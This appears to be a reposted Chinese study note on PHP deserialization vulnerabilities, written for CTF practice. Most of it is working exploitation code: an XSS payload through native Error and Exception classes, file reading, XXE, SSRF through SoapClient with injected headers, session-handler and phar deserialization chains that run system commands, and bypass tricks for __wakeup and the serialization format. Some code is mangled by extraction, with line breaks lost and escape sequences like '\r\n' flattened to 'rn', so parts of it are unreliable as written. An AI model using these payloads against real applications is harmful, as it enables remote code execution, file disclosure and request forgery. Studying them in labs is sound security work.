1.PHP魔术方法
<?php
class c {
private
$name
=
'hacker'
;
function
__construct
() { // 构造方法,new时调用
echo
'construct<br>'
;
}
function
__serialize
() { // 序列化时调用
echo
'serialize<br>'
;
return
[
'hack'
];
}
function
__unserialize(
$data
) { // 反序列化时调用
echo
'__unserialize '
;
print_r(
$data
);
echo
'<br>'
;
}
function
__sleep
() { // 序列化时调用,存在 __serialize 就不调用
echo
'sleep<br>'
;
return
[];
}
function
__wakeup
() { // 反序列化时调用,存在 __unserialize 就不调用
echo
'wakeup<br>'
;
}
function
__debugInfo
() { // 对对象使用 var_dump 时调用
echo
'debugInfo '
;
return
[];
}
function
__clone
() { // 对对象使用
clone
时调用
echo
'<br>clone<br>'
;
}
function
__destruct
() { // 析构方法,对象销毁时调用
echo
'destruct<br>'
;
}
// 异常处理魔术方法
function
__get(
$name
) { // 获取不存在或不可访问的变量时调用
echo
'get '
.
$name
.
'<br>'
;
}
function
__set(
$name
,
$value
) { // 给不存在或不可访问的变量赋值时调用
echo
'set '
.
$name
.
' '
.
$value
.
'<br>'
;
}
function
__isset(
$name
) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
echo
'isset '
.
$name
.
'<br>'
;
}
function
__unset(
$name
) { // 对不存在或不可访问的变量使用
unset
时调用
echo
'unset '
.
$name
.
'<br>'
;
}
function
__call(
$name
,
$parameter
) { // 调用不存在或不可访问的方法时调用
echo
'call '
.
$name
.
' '
;
print_r(
$parameter
);
echo
'<br>'
;
}
static
function
__callStatic(
$name
,
$parameter
) { // 调用不存在或不可访问的静态方法时调用
echo
'callStatic '
.
$name
.
' '
;
print_r(
$parameter
);
echo
'<br>'
;
}
function
__toString
() { // 对象被当作字符串使用时调用
echo
'toString<br>'
;
return
''
;
}
function
__invoke
() { // 对象被当作函数调用时调用
echo
'invoke<br>'
;
return
''
;
}
}
// 创建对象
$c
= new c();
var_dump(
$c
);
clone
$c
;
// 序列化
$s
= serialize(
$c
);
echo
$s
.
'<br><br>'
;
// 反序列化
$u
= unserialize(
$s
);
$u
->pass;
$u
->pass =
'hacker'
;
isset(
$u
->name);
empty(
$u
->name);
unset
(
$u
->name);
$u
->
function
(1);
c::
function
(2);
$u
::
function
(3);
echo
$u
;
$u
.
''
;
$u
();
2.PHP原生类
Error类
PHP>7.0,因为存在__toString,可以进行XSS
echo
new Error(
'<script>alert(1)</script>'
);
Exception类
因为存在__toString,可以进行XSS
echo
new Exception(
'<script>alert(1)</script>'
);
DirectoryIterator类
因为存在__toString,可以获取符合要求的第一个文件名
echo
new DirectoryIterator(
'glob://flag*'
);
SplFileObject类
因为存在__toString,可以读取文件内容
echo
new SplFileObject(
'/flag'
);
SimpleXMLElement
可以造成 xxe
xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)
SimpleXMLElement(
'http://127.0.0.1/xxe.xml'
, 2, TRUE);
SoapClient类
因为存在__call,可以进行SSRF
phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启
<?php
// ua是为了覆盖请求头并让请求包后面的其他内容无效
$ua
=
"uarnX-Forwarded-For: 127.0.0.1rnContent-Type: application/x-www-form-urlencodedrnContent-Length: 6rnrnssrf=1"
;
$soap
= new SoapClient(null, array(
'uri'
=>
'http://127.0.0.1/'
,
'location'
=>
'http://127.0.0.1/ssrf.php'
,
'user_agent'
=>
$ua
));
$soap
->
function
();
可以通过 NC 看构造的请求包
POST /ssrf.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
User-Agent: ua
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
ssrf=1
Content-Type: text/xml; charset=utf-8
SOAPAction:
"http://127.0.0.1/#function"
Content-Length: 394
<?xml version=
"1.0"
encoding=
"UTF-8"
?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV=
"http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns1=
"http://127.0.0.1/"
xmlns:xsd=
"http://www.w3.org/2001/XMLSchema"
xmlns:SOAP-ENC=
"http://schemas.xmlsoap.org/soap/encoding/"
SOAP-ENV:encodingStyle=
"http://schemas.xmlsoap.org/soap/encoding/"
><SOAP-ENV:Body><ns1:
function
/></SOAP-ENV:Body></SOAP-ENV:Envelope>
3.特殊文件的反序列化
Session反序列化
php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";
当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}
当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:
先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}
<?php
ini_set(
'session.serialize_handler'
,
'php_serialize'
);
session_start();
$_SESSION
[
'user'
] =
'|O:1:"c":1:{s:4:"code";s:6:"whoami";}'
;
再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化
<?php
class c{
function
__wakeup
() {
system(
$this
->code);
}
}
session_start();
phar包反序列化
phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化
生成Payload
<?php
class c{
public
$code
=
'whoami'
;
}
$phar
= new Phar(
'1.phar'
);
$phar
->startBuffering();
$phar
->setStub(
"<?php __HALT_COMPILER();?>"
);
$o
= new c();
$phar
->setMetadata(
$o
);
$phar
->addFromString(
'1.txt'
,
'1'
);
$phar
->stopBuffering();
访问进行反序列化
<?php
class c{
function
__wakeup
() {
system(
$this
->code);
}
}
include(
'1.phar'
);
4.绕过
开头
数字
O:+1,PHP<7.2
O
<?php
class c{
public
$code
=
'whoami'
;
function
__wakeup
() {
system(
$this
->code);
}
}
// a:1:{i:0;O:1:
"c"
:1:{s:4:
"code"
;s:6:
"whoami"
;}}
$array
= [new c()];
echo
serialize(
$array
);
echo
'<br>'
;
// C:11:
"ArrayObject"
:61:{x:i:0;a:1:{i:0;O:1:
"c"
:1:{s:4:
"code"
;s:6:
"whoami"
;}};m:a:0:{}}
$obj
= new ArrayObject();
$obj
->append(new c());
echo
serialize(
$obj
);
echo
'<br>'
;
// C:16:
"SplObjectStorage"
:54:{x:i:1;O:1:
"c"
:1:{s:4:
"code"
;s:6:
"whoami"
;},N;;m:a:0:{}}
$obj
= new SplObjectStorage();
$obj
->attach(new c());
echo
serialize(
$obj
);
echo
'<br>'
;
// C:8:
"SplStack"
:41:{i:6;:O:1:
"c"
:1:{s:4:
"code"
;s:6:
"whoami"
;}}
$obj
= new SplStack();
$obj
->push(new c());
echo
serialize(
$obj
);
echo
'<br>'
;
// C:8:
"SplQueue"
:41:{i:4;:O:1:
"c"
:1:{s:4:
"code"
;s:6:
"whoami"
;}}
$obj
= new SplQueue();
$obj
->enqueue(new c());
echo
serialize(
$obj
);
echo
'<br>'
;
// C:19:
"SplDoublyLinkedList"
:41:{i:0;:O:1:
"c"
:1:{s:4:
"code"
;s:6:
"whoami"
;}}
$obj
= new SplDoublyLinkedList();
$obj
->push(new c());
echo
serialize(
$obj
);
魔术方法
__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...
__destruct绕过,前面抛出异常
__destruct调用,结构错误,例:O:1:"c":1:{xxx}
5.CTF
private序列化有不可见字符,复制会出错,可以urlencode。包含n、标签这种情况在HTML复制的不对要ctrl+u复制
数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}
要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改
看似反序列化的题结果静态函数不需要对象
字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)
本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html
原文始发于微信公众号(红队蓝军):几种反序列化漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论